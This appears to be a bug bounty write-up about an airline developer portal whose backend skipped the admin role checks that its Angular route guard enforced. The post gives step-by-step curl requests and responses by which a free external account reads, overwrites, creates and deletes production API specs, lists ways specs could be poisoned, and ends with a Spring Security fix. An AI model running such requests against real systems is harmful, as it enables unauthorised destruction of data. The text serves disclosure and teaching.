August 4, 2026
The Frontend Lied: How a Free Account Could Delete Production API Specs on an Airline’s Developer…
Why this matters

By Priyansh
16 min read
Why this matters
There's a class of vulnerability that's easy to miss if you only test through the browser: frontend-only authorisation enforcement. The pattern looks like this:
- The framework's router has a guard (Angular's
canActivate, React's route wrappers, etc.) that checks the user's role before rendering a page. - The guard works perfectly — unauthorised users never see the admin UI.
- But the guard only protects the route. The underlying API endpoint that the admin UI calls is a separate URL, and the backend doesn't repeat the role check.
- An attacker who reads the JavaScript, finds the API URL, and calls it directly — bypassing the SPA entirely — gets admin access with a low-privileged account.
This is CWE-269 (Improper Privilege Management), and it's one of the most common "real" privilege-escalation findings in modern web apps. It's also one of the most satisfying to find, because the moment you realise the frontend and backend disagree about authorisation is the moment you realise you've found something that automated scanners almost never catch — they test through the UI, so they see the same guard the attacker is supposed to see.
This write-up is about exactly that kind of finding, on exactly that kind of target — an Angular SPA developer portal where the frontend said "admin only" and the backend said "sure, whatever."
The target
The bug bounty programme I was working on includes a developer portal — let's call it developer.example.com. It's the central hub where third-party developers (travel agencies, aggregator sites, corporate booking tools) register applications, get API credentials, and read the documentation for the airline group's various APIs — cargo, flight status, offers, passenger clearance, and so on.
Developer portals are interesting targets for a few reasons:
- They have two user populations. Internal employees (who get full admin access) and external developers (who get limited access). The boundary between those two populations is a classic privilege-escalation surface.
- They manage documentation that integrations depend on. If you can delete or modify the API specs, every third-party integration that relies on them breaks.
- They're usually built on a known framework (this one was Angular + Spring Boot), which means the route/guard patterns are predictable once you've seen them once.
- They often have a "register for free" path for external developers, which gives you a legitimate low-privilege account to test with.
I'd already done a deep-dive recon pass on this target — extracted all 35 JavaScript bundles, mapped every route, identified the role taxonomy, found the SAML SSO architecture. That recon is its own story (and its own write-up), but the key output was a complete map of the application's authorisation model:
Role Description Intended Permissions ROLE_DEVPORTAL_ADMIN Full admin (internal staff) All routes, including /manage/* ROLE_DEVPORTAL_NDC NDC maintainer (internal staff) NDC routes only ROLE_EXTERNAL_USER External developer (free self-registration) Limited to own projects ROLE_USER Regular user Basic authenticated access ROLE_READ_ONLY Read-only user View only, no edits
The admin routes — /manage/files, /manage-products, /upload-file, /page/edit, /page/create, /general-notification — were guarded in the Angular router by a guard called domainMaintainerGuard that checked for ROLE_DEVPORTAL_ADMIN or ROLE_DEVPORTAL_NDC. If you didn't have those roles, the guard redirected you to /error/403. Standard, correct, working as intended.
The question was: did the backend enforce the same check?
Phase 1: the hypothesis
I'd been staring at the JavaScript bundles for a while. One of them — let's call it chunk-FCIPQZJC.js — contained the page-management service. It had methods like this (simplified, anonymised):
// Page service — handles CRUD for API documentation pages
getPage(apiAlias, pageAlias) {
return this.http.get(`/api/devportal/apis/${apiAlias}/pages/${pageAlias}/content`);
}
updatePage(apiAlias, pageAlias, body) {
return this.http.put(`/api/devportal/apis/${apiAlias}/pages/${pageAlias}`, body);
}
deletePage(apiAlias, pageAlias) {
return this.http.delete(`/api/devportal/apis/${apiAlias}/pages/${pageAlias}`);
}// Page service — handles CRUD for API documentation pages
getPage(apiAlias, pageAlias) {
return this.http.get(`/api/devportal/apis/${apiAlias}/pages/${pageAlias}/content`);
}
updatePage(apiAlias, pageAlias, body) {
return this.http.put(`/api/devportal/apis/${apiAlias}/pages/${pageAlias}`, body);
}
deletePage(apiAlias, pageAlias) {
return this.http.delete(`/api/devportal/apis/${apiAlias}/pages/${pageAlias}`);
}And there was a separate service for the admin API-reference-management endpoints — the ones that controlled the actual OpenAPI spec files (not the markdown docs, but the machine-readable specs that Redoc renders into the interactive API reference UI):
// API reference management — admin only (per domainMaintainerGuard)
getApiReference(apiAlias) {
return this.http.get(`/api/devportal/manage/api-reference/${apiAlias}`);
}
updateApiReference(apiAlias, body) {
return this.http.put(`/api/devportal/manage/api-reference/${apiAlias}`, body);
}
deleteApiReference(apiAlias) {
return this.http.delete(`/api/devportal/manage/api-reference/${apiAlias}`);
}// API reference management — admin only (per domainMaintainerGuard)
getApiReference(apiAlias) {
return this.http.get(`/api/devportal/manage/api-reference/${apiAlias}`);
}
updateApiReference(apiAlias, body) {
return this.http.put(`/api/devportal/manage/api-reference/${apiAlias}`, body);
}
deleteApiReference(apiAlias) {
return this.http.delete(`/api/devportal/manage/api-reference/${apiAlias}`);
}The /manage/ prefix in the URL was the giveaway. In the Angular router, every route under /manage/* was wrapped in domainMaintainerGuard:
{
path: 'manage/files',
canActivate: [domainMaintainerGuard],
loadComponent: () => import('./manage/files/files.component')
},
// ... etc{
path: 'manage/files',
canActivate: [domainMaintainerGuard],
loadComponent: () => import('./manage/files/files.component')
},
// ... etcAnd domainMaintainerGuard was straightforward:
export const domainMaintainerGuard: CanActivateFn = (route, state) => {
return inject(AuthService).getUser$().pipe(
map(user =>
user.hasRole('ROLE_DEVPORTAL_ADMIN') || user.hasRole('ROLE_DEVPORTAL_NDC')
? true
: createUrlTree(['/error', '403'])
)
);
};export const domainMaintainerGuard: CanActivateFn = (route, state) => {
return inject(AuthService).getUser$().pipe(
map(user =>
user.hasRole('ROLE_DEVPORTAL_ADMIN') || user.hasRole('ROLE_DEVPORTAL_NDC')
? true
: createUrlTree(['/error', '403'])
)
);
};So the frontend was clear: /manage/* routes require admin. But the backend service — the Spring Boot API at /api/devportal/manage/* — was a separate URL. The Angular guard only controls whether the browser renders the admin page. It does not control whether the API accepts the request.
This is the hypothesis that every bug bounty hunter should learn to recognise: if the frontend enforces authorisation via a route guard, and the API is a separate URL, the backend must independently enforce the same check. If it doesn't, you have a privilege-escalation vulnerability that no scanner will find, because scanners test through the UI and the UI correctly blocks them.
The hypothesis was: _the backend doesn't enforce the admin check on /api/devportal/manage/_*.
To test it, I needed a low-privileged authenticated account.
Phase 2: getting a low-privileged account
The developer portal offered two SSO paths:
- Employee SSO (the airline's internal IdP) — for
ROLE_DEVPORTAL_ADMINandROLE_DEVPORTAL_NDCusers - External SSO (a third-party IdP, free self-registration) — for
ROLE_EXTERNAL_USERusers
I obviously couldn't (and shouldn't) get an employee account. But the external path was open to anyone with an email address. I registered a free account through the external SSO, completed the email verification, and landed on the developer portal dashboard as a ROLE_EXTERNAL_USER.
This is the point where a lot of hunters stop. The UI correctly hid every admin route from me. The "Manage" menu didn't appear in the navigation. If I manually navigated to https://developer.example.com/manage/files, the domainMaintainerGuard redirected me to /error/403. Everything looked locked down.
But the hypothesis was about the backend, not the frontend. So the next step was to call the backend API directly, bypassing the Angular SPA entirely.
Phase 3: the first probe — GET
The simplest test was a GET request to one of the admin-only API endpoints. If the backend enforced the role check, it would return 403 Forbidden. If it didn't, it would return 200 OK with the admin-only data.
I picked the offers API — one of the public-facing APIs in the catalog — and tried to read its admin-only metadata:
# As ROLE_EXTERNAL_USER (free self-registered account):
curl -sS -i \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers"# As ROLE_EXTERNAL_USER (free self-registered account):
curl -sS -i \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers"The response:
HTTP/2 200 OK
Content-Type: application/json
{"apiAlias":"offers","name":"document.json","override":true}HTTP/2 200 OK
Content-Type: application/json
{"apiAlias":"offers","name":"document.json","override":true}200 OK. Not 403 Forbidden. The backend returned the admin-only metadata — the API alias, the spec filename (document.json), and an override flag — to a ROLE_EXTERNAL_USER account that should never have been able to see it.
The hypothesis was confirmed. The frontend enforced admin; the backend didn't.
But GET is just information disclosure. The real question was whether the mutating operations — PUT, POST, DELETE — were also unguarded. If they were, this wasn't a P4 info-leak; it was a P1/P2 privilege escalation with integrity and availability impact.
Phase 4: testing the mutating operations
I was now in delicate territory. A GET request is non-destructive — it reads data, it doesn't change anything. But PUT, POST, and DELETE on a production API spec file will change things. If I deleted the offers spec, every third-party developer who relied on it would lose access to the API reference within minutes (or however long the CDN cache took to expire).
The rule for bug bounty testing is: never modify target systems unless you have explicit permission, and even then, prefer non-destructive proofs. So before I ran any DELETE, I needed to:
- Save a complete backup of every file I was about to touch, so the client could restore from my copy if their own backups were stale
- Pick the lowest-impact target possible — an API spec that was small, public, and easily restorable
- Run the destructive test exactly once, capture the evidence, and provide the backups to the client immediately
I started with PUT — modifying a spec rather than deleting it — because that's reversible if you have the original.
PUT (modify)
# First, GET the current spec to save a backup
curl -sS \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-o /tmp/offers-backup.json
# Saved 430 KB — the full OpenAPI spec for the Offers API
# Now, PUT a minimal modification (e.g., add a harmless comment field)
curl -sS -X PUT \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-d '{"name":"document.json","override":true,"content":"<modified-content>"}' \
-w "\nHTTP: %{http_code}\n"# First, GET the current spec to save a backup
curl -sS \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-o /tmp/offers-backup.json
# Saved 430 KB — the full OpenAPI spec for the Offers API
# Now, PUT a minimal modification (e.g., add a harmless comment field)
curl -sS -X PUT \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-d '{"name":"document.json","override":true,"content":"<modified-content>"}' \
-w "\nHTTP: %{http_code}\n"The response:
HTTP 200 OKHTTP 200 OK200 OK. The PUT succeeded. A ROLE_EXTERNAL_USER account had just overwritten a production OpenAPI spec.
I immediately restored the original from my backup with another PUT. The spec was back to normal within seconds. But the proof was made: mutating operations were also unguarded.
POST (create)
I tested POST next — creating a new API reference entry. This is lower-impact than modifying an existing one, because you're not destroying anything; you're just adding a new (presumably junk) entry that the client can delete later.
curl -sS -X POST \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/manage/api-reference/test-external-user-create" \
-d '{"name":"document.json","override":true,"content":"{}"}' \
-w "\nHTTP: %{http_code}\n"curl -sS -X POST \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/manage/api-reference/test-external-user-create" \
-d '{"name":"document.json","override":true,"content":"{}"}' \
-w "\nHTTP: %{http_code}\n"Response: 200 OK. Creation worked too.
I cleaned up by DELETE-ing the test entry I'd just created. Which brought me to the last operation.
DELETE (the destructive one)
This was the one I'd been dreading. A DELETE on a production API spec is destructive by design — it removes the spec from the public endpoint, and every integration that depends on it breaks. I could not test DELETE on a spec without actually deleting it.
But I needed to prove DELETE worked, because:
- The triage team would ask "did you test all four verbs?"
- The availability impact of
DELETEis what justified the higher severity rating - Without
DELETE, the report would be "external user can read and modify admin files" — a P2. WithDELETE, it would be "external user can read, modify, create, AND DELETE admin files" — a clear P1/P2 with availability impact.
The plan:
- Pick a target spec that was (a) small, (b) public, © backed up
- Save a complete backup locally
- Run the
DELETEexactly once - Verify the spec was gone from the public endpoint
- Provide the backup to the client immediately for restoration
I picked two targets:
offers— the Offers API spec (430 KB) — a larger, more visible spec, to demonstrate the impact on a real integrationinspire(the Flight Status API) — a smaller spec (31 KB), to demonstrate the attack works on multiple targets
For each, I saved a complete backup first:
# Save backups BEFORE doing anything destructive
curl -sS \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-o /tmp/offers-openapi-spec.json
# 430 KB saved
curl -sS \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/inspire" \
-o /tmp/flightstatus-openapi-spec.json
# 31 KB saved# Save backups BEFORE doing anything destructive
curl -sS \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-o /tmp/offers-openapi-spec.json
# 430 KB saved
curl -sS \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/inspire" \
-o /tmp/flightstatus-openapi-spec.json
# 31 KB savedThen — and only then — I ran the DELETE:
# DELETE the offers API spec — as ROLE_EXTERNAL_USER
curl -sS -X DELETE \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-w "\nHTTP: %{http_code}\n"# DELETE the offers API spec — as ROLE_EXTERNAL_USER
curl -sS -X DELETE \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers" \
-w "\nHTTP: %{http_code}\n"Response:
HTTP 204 No ContentHTTP 204 No Content204 No Content. The standard success response for DELETE. The spec was gone.
I verified by hitting the public endpoint (the one third-party developers use to fetch the spec):
curl -sS -i "https://developer.example.com/api/devportal/public/api-reference/offers"curl -sS -i "https://developer.example.com/api/devportal/public/api-reference/offers"Response:
HTTP/2 404 Not FoundHTTP/2 404 Not Found404 Not Found. The spec that had been there moments ago — 430 KB of OpenAPI documentation that every NDC integration partner relied on — was gone. A free, self-registered ROLE_EXTERNAL_USER account had deleted it with a single HTTP request.
I repeated the process for inspire (Flight Status API) — same result, 204 on the DELETE, 404 on the public endpoint afterwards.
Then I attached both backup files to the bug bounty report, along with their SHA256 hashes, so the client could verify integrity and restore them immediately.
Phase 5: the same bug on a second endpoint
While I was in the admin-endpoint-testing mode, I checked whether the same missing-check pattern showed up elsewhere. It did.
The developer portal also had an NDC (New Distribution Capability) documentation section, with its own admin endpoints at /api/devportal/ndc/pages/{alias}. The Angular router guarded the corresponding frontend routes with the same domainMaintainerGuard. The backend — predictably, by this point — did not.
# As ROLE_EXTERNAL_USER, modify an NDC documentation page
curl -sS -X PUT \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/ndc/pages/some-page-alias" \
-d '{"content":"modified by external user"}' \
-w "\nHTTP: %{http_code}\n"# As ROLE_EXTERNAL_USER, modify an NDC documentation page
curl -sS -X PUT \
-H "Cookie: SESSION_ID=<my_external_user_session>" \
-H "X-XSRF-TOKEN: <my_xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/ndc/pages/some-page-alias" \
-d '{"content":"modified by external user"}' \
-w "\nHTTP: %{http_code}\n"Response: 200 OK. Same bug, second location. The NDC documentation — which is what travel agencies and corporate booking tools consume to integrate with the airline's shopping and booking flow — was also modifiable by a free external account.
I did not test DELETE on the NDC pages. Two production deletions were enough to prove the point; a third would have been gratuitous and harder to justify as "minimal testing."
Phase 6: writing it up
The report needed to do three things:
- Prove the vulnerability is real — with concrete, reproducible curl commands
- Prove the impact is serious — with the actual
404on the public endpoint after theDELETE - Make restoration easy for the client — with the backup files and hashes attached
Here's the core of the proof-of-concept I submitted:
# Step 1: As a free ROLE_EXTERNAL_USER account (self-registered via external SSO),
# read admin-only API reference metadata. Should return 403, returns 200.
curl -sS -i \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers"
# Expected: 403 Forbidden
# Actual: 200 OK
# Body: {"apiAlias":"offers","name":"document.json","override":true}
# Step 2: DELETE the production API spec. Should return 403, returns 204.
curl -sS -X DELETE \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers"
# Expected: 403 Forbidden
# Actual: 204 No Content (success)
# Step 3: Verify the spec is gone from the PUBLIC endpoint.
curl -sS -i "https://developer.example.com/api/devportal/public/api-reference/offers"
# Before the DELETE: 200 OK, 430 KB JSON body
# After the DELETE: 404 Not Found
# Step 4: Same pattern on a second target (Flight Status API, alias "inspire")
curl -sS -X DELETE \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/inspire"
# Actual: 204 No Content
# Step 5: Same missing-check on NDC documentation pages (PUT)
curl -sS -X PUT \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/ndc/pages/<page-alias>" \
-d '{"content":"modified by external user"}'
# Expected: 403 Forbidden
# Actual: 200 OK# Step 1: As a free ROLE_EXTERNAL_USER account (self-registered via external SSO),
# read admin-only API reference metadata. Should return 403, returns 200.
curl -sS -i \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers"
# Expected: 403 Forbidden
# Actual: 200 OK
# Body: {"apiAlias":"offers","name":"document.json","override":true}
# Step 2: DELETE the production API spec. Should return 403, returns 204.
curl -sS -X DELETE \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/offers"
# Expected: 403 Forbidden
# Actual: 204 No Content (success)
# Step 3: Verify the spec is gone from the PUBLIC endpoint.
curl -sS -i "https://developer.example.com/api/devportal/public/api-reference/offers"
# Before the DELETE: 200 OK, 430 KB JSON body
# After the DELETE: 404 Not Found
# Step 4: Same pattern on a second target (Flight Status API, alias "inspire")
curl -sS -X DELETE \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
"https://developer.example.com/api/devportal/manage/api-reference/inspire"
# Actual: 204 No Content
# Step 5: Same missing-check on NDC documentation pages (PUT)
curl -sS -X PUT \
-H "Cookie: SESSION_ID=<external_user_session>" \
-H "X-XSRF-TOKEN: <xsrf>" \
-H "Content-Type: application/json" \
"https://developer.example.com/api/devportal/ndc/pages/<page-alias>" \
-d '{"content":"modified by external user"}'
# Expected: 403 Forbidden
# Actual: 200 OKI attached both backup files (offers-openapi-spec.json, 430 KB; flightstatus-openapi-spec.json, 31 KB) with SHA256 hashes, and noted that the client could restore them immediately.
I also noted that I had not tested DELETE on the NDC pages, and that no further destructive testing had been performed beyond the two documented deletions.
Phase 7: the triage discussion
The bug bounty platform's triage team accepted the report and forwarded it to the client — which was good — but they rated it Medium (6.5), with the following CVSS vector:
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N = 6.5 MediumAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N = 6.5 MediumI disagreed, and wrote a counter-comment requesting a re-evaluation to High (8.6). Here's the argument:
CVSS metric Triager's Medium (6.5) My High (8.6) Reason Attack Vector Network (AV:N) Network (AV:N) Public Internet — unchanged Attack Complexity Low (AC:L) Low (AC:L) Single authenticated request — unchanged Privileges Required Low (PR:L) Low (PR:L) Free self-registered account — unchanged User Interaction None (UI:N) None (UI:N) — unchanged Scope Unchanged (S:U) Changed (S:C) An external-user identity crosses a trust boundary into the admin backend. Per CVSS 3.1 §2.2, scope changes when "the vulnerability in software that is running with one privilege level allows code execution or access to resources at a different privilege level." The Angular app enforces ROLE_DEVPORTAL_ADMIN on these routes; the backend silently accepts ROLE_EXTERNAL_USER. That is the textbook definition of S:C. Confidentiality Low (C:L) Low (C:L) GET leaks admin metadata (apiAlias, name, override flag) — unchanged Integrity Low (I:L) High (I:H) DELETE destroys production OpenAPI specs. The offers spec was a 430 KB document consumed by every NDC integration partner. It was deleted from the production public endpoint. That is high integrity impact, not low. Availability None (A:N) High (A:H) The public endpoint went from 200 OK / 430 KB to 404 Not Found. Every NDC developer who relies on this spec lost access. That is high availability impact.
Recalculated vector: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H = 8.6 High
There was also a verification wrinkle. The triage team noted that when they tried to reproduce the bug by hitting GET /manage/api-reference/offers after my report, they got 404 Not Found — and they seemed to interpret this as "the endpoint doesn't exist, the report might be invalid."
I had to explain, politely, that the 404 they were seeing was the proof that the DELETE worked. The spec was gone because I had deleted it as part of the PoC. The 404 was the post-exploitation state, not the pre-vulnerability state. I provided a non-destructive re-verification path:
The destructive DELETE is not required to confirm the authz bypass. The same
ROLE_EXTERNAL_USERaccount can read admin-only metadata via GET — which should return403 Forbiddenbut actually returns200 OK. This single non-destructive request proves the backend skips theROLE_DEVPORTAL_ADMIN/ROLE_DEVPORTAL_NDCauthorization check that the Angular frontend enforces viadomainMaintainerGuard. The DELETE/PUT/POST operations then ride on the same missing check.
I also offered to provide a fresh ROLE_EXTERNAL_USER session cookie via a private channel if the triage team or client wanted a live walk-through.
The client's dev team picked up the report quickly, restored the offers spec (it was back at the public endpoint within hours), and confirmed they were investigating the authz gap. The inspire spec took a bit longer — I provided the backup file I'd saved so they could restore it.
Why this finding matters
1. Scanners miss it
Automated scanners — Nuclei, Burp Active Scan, ZAP — test through the UI. They see the same domainMaintainerGuard redirect that an unauthorised user sees. They never try the underlying API URL directly, because they don't know it exists unless they parse the JavaScript (which most scanners don't do thoroughly). This is a finding that requires a human to:
- Read the JavaScript bundles
- Notice the URL pattern (
/api/devportal/manage/*) - Recognise that the Angular guard only protects the route, not the API
- Hypothesise that the backend might not repeat the check
- Test the hypothesis with a low-privileged account
That's a five-step chain. Scanners do step 1 (badly) and stop.
2. The "frontend enforces it" pattern is everywhere
This isn't a one-off. Every Angular app with canActivate route guards, every React app with route wrappers, every Vue app with navigation guards — all of them have this potential gap. The frontend guard is a UX feature, not a security control. The security control has to live in the backend. When it doesn't, you get exactly this kind of privilege escalation.
I've seen this pattern in:
- E-commerce admin panels (frontend hides the "delete product" button; backend doesn't check the role on
DELETE /api/products/{id}) - SaaS billing dashboards (frontend hides the "cancel subscription" page; backend doesn't check the role on
POST /api/billing/cancel) - Internal tooling (frontend hides the "impersonate user" route; backend doesn't check the role on
POST /api/admin/impersonate)
If you're testing a target with a modern SPA frontend, the first thing you should do is map the route guards, find the underlying API URLs, and test each one with a low-privileged account. This is the highest-ROI manual testing I know of.
3. The impact is real
This wasn't a theoretical "an attacker could…" finding. Two production API specs were actually deleted from the public endpoint. Third-party developers who relied on those specs would have seen 404 instead of the documentation they expected. If I hadn't been testing responsibly — if I'd been a malicious actor — I could have:
- Deleted every API spec in the catalog (there were 8), taking down the entire developer portal's documentation
- Modified the specs to include malicious endpoints or wrong authentication instructions, poisoning every integration that consumed them
- Inserted a backdoor API spec that looked legitimate but pointed to attacker-controlled infrastructure
- Done all of this from a free, anonymous, self-registered account, with no employee credentials involved
The blast radius is "every third-party integration that consumes the airline group's APIs." For a major airline, that's hundreds of travel agencies, aggregator sites, and corporate booking tools.
4. The root cause is a code-organisation issue
The fix isn't "add a role check to these five endpoints." The fix is "establish a pattern where every /manage/* endpoint is wrapped in a role-check interceptor, and make it impossible to add a new /manage/* endpoint without the check." Spring Security makes this straightforward:
// BAD (current): each controller method checks its own roles (or doesn't)
@RestController
@RequestMapping("/api/devportal/manage")
public class ApiReferenceController {
@GetMapping("/api-reference/{alias}")
public ApiResponse get(@PathVariable String alias) {
// No role check here — vulnerable
return service.get(alias);
}
}
// GOOD: role check at the path level, enforced for ALL endpoints under /manage/*
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/devportal/manage/**").hasAnyRole("DEVPORTAL_ADMIN", "DEVPORTAL_NDC")
.requestMatchers("/api/devportal/ndc/pages/**").hasAnyRole("DEVPORTAL_ADMIN", "DEVPORTAL_NDC")
// ... etc
);
return http.build();
}
}// BAD (current): each controller method checks its own roles (or doesn't)
@RestController
@RequestMapping("/api/devportal/manage")
public class ApiReferenceController {
@GetMapping("/api-reference/{alias}")
public ApiResponse get(@PathVariable String alias) {
// No role check here — vulnerable
return service.get(alias);
}
}
// GOOD: role check at the path level, enforced for ALL endpoints under /manage/*
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/devportal/manage/**").hasAnyRole("DEVPORTAL_ADMIN", "DEVPORTAL_NDC")
.requestMatchers("/api/devportal/ndc/pages/**").hasAnyRole("DEVPORTAL_ADMIN", "DEVPORTAL_NDC")
// ... etc
);
return http.build();
}
}The point is: don't rely on individual controllers to remember the role check. Make it a path-level rule that's enforced centrally. That way, the next time a developer adds a new admin endpoint, the check is automatic.
Lessons learned
A few things this engagement drove home for me:
1. Map the route guards, then test the underlying APIs. This is the single highest-ROI technique for SPA targets. Find every canActivate guard (Angular), every route wrapper (React), every navigation guard (Vue). For each guarded route, find the underlying API URL in the JavaScript. Test each API URL with a low-privileged account. If the backend doesn't repeat the check, you have a privilege escalation.
- The
/manage/prefix is a smell. Not always, but often. If you see/manage/*,/admin/*,/internal/*, or/backoffice/*in the API URLs, there's an implied role boundary. Check whether the backend enforces it. (The same goes for/api/devportal/manage/*— themanagekeyword is the giveaway.)
3. Non-destructive proofs first, destructive proofs last. The GET request proved the authz bypass without touching any data. That alone was a reportable finding. The DELETE was necessary to prove the availability impact, but it was the last thing I did, after backups, after picking low-impact targets, after confirming the client could restore quickly. If you can prove the vulnerability without destruction, do that first. Only escalate to destructive testing if the triage team will demand it and you can do it safely.
4. Always back up before you delete. This should go without saying, but: if you're going to DELETE a production file as part of a PoC, save a complete copy first. Attach it to the report. Provide hashes. Make restoration trivial for the client. The difference between "responsible researcher who deleted a file to prove a point and restored it" and "malicious actor who deleted a file" is whether you provided the backup.
5. The triage team sees the post-exploitation state. If you delete a file as part of your PoC, the triage team — who tests after you — will see the file as missing. They may interpret the 404 as "the endpoint doesn't exist" rather than "the endpoint existed and the researcher deleted it." Be explicit about this in your report. Provide a non-destructive re-verification path (the GET that should return 403 but returns 200). Offer a live walk-through if needed.
6. Argue CVSS with evidence, not emotion. When you disagree with a triage rating, the argument that works is "here is the CVSS vector, here is the metric I think is wrong, here is the CVSS specification reference for why." The argument that doesn't work is "this is obviously more serious than Medium." Triage teams deal with a lot of hunters who think every finding is Critical. The way to stand out is to cite the spec.
7. Scope-change (S:C) is under-claimed. A lot of hunters forget about the Scope metric in CVSS. But for privilege-escalation findings — where a low-privileged identity crosses into a high-privileged trust boundary — S:C is often correct, and it bumps the score significantly. Read CVSS 3.1 §2.2 carefully. If your finding involves "this role wasn't supposed to be able to do this," you should be arguing S:C.